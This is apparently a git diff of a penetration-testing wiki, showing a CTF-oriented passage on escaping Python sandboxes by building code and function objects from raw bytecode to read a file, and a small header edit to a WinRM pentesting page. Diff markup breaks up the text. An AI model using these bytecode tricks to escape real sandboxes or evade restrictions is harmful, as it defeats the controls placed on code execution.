For example, let's compile and execute manually a function that reads _./poc.py_:
|
||||
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
return open("./poc.py",'r').read()
|
||||
|
||||
read.__code__.co_code
|
||||
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||||
```
|
||||
|
||||
```python
|
||||
#On Remote
|
||||
function_type = type(lambda: None)
|
||||
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
||||
consts = (None, "./poc.py", 'r')
|
||||
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||||
names = ('open','read')
|
||||
|
||||
# And execute it using eval/exec
|
||||
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
||||
|
||||
#You could also execute it directly
|
||||
mydict = {}
|
||||
mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
|
||||
If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.**
|
||||
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
|
||||
### Decompiling Python
|
||||
|
||||
Using tools like [https://www.decompiler.com/](https://www.decompiler.com/) one can decompile given compiled python code
|
||||
|
||||
## Dissecting functions
|
||||
|
||||
In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
# 5985,5986 - Pentesting WinRM
|
||||
|
||||
description: >-
|
||||
|
||||
## [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
## WinRM
|
||||
|
||||
|
|
Loading…
Reference in a new issue